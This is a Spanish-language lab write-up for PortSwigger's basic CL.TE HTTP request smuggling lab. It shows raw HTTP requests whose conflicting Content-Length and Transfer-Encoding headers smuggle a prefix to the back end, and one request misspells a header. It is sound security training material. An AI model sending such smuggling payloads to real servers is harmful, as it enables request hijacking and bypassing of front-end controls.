> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-vulnerability-cl-te.md).
# Vulnerabilidad básica CL.TE
Notas de Vulnerabilidad básica CL.TE para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Contrabando de solicitudes HTTP, vulnerabilidad básica CL.TE
En este laboratorio, la infraestructura consiste en un servidor frontal y un servidor trasero. El servidor frontal **no admite la codificación fragmentada** y **rechaza cualquier solicitud que no use GET o POST** métodos.
El objetivo es **contrabandear una solicitud al servidor** de back-end para que **la siguiente solicitud interpretada por el servidor parezca usar el `GPOST`** método.
> Nota:/ " Aunque el laboratorio acepte HTTP/2, la técnica necesaria se basa exclusivamente en HTTP/1. El protocolo debe cambiarse manualmente en Burp Repeater mediante la sección Request attributes del Inspector.
> Consejo:/ Gestionar manualmente las longitudes en un ataque de contrabando de solicitudes puede ser complejo. La extensión de Burp HTTP Request Smuggler, disponible en el BApp Store, puede facilitar esta tarea.
#### \*\* Ejemplo válido observado\*\*
Se aceptó la siguiente solicitud:
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked
3
abc
0
```
#### **Error al cambiar el tamaño final**
Si el `0` el carácter terminal se reemplaza por un carácter inválido (p. ej. `X`), el servidor informa de un error:
```
3
abc
X
```
#### **Añadir carácter final para inyectar `G`**
Al colocar un `G` después del último chunk, puedes preparar la solicitud contrabandeada para el backend:
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
---
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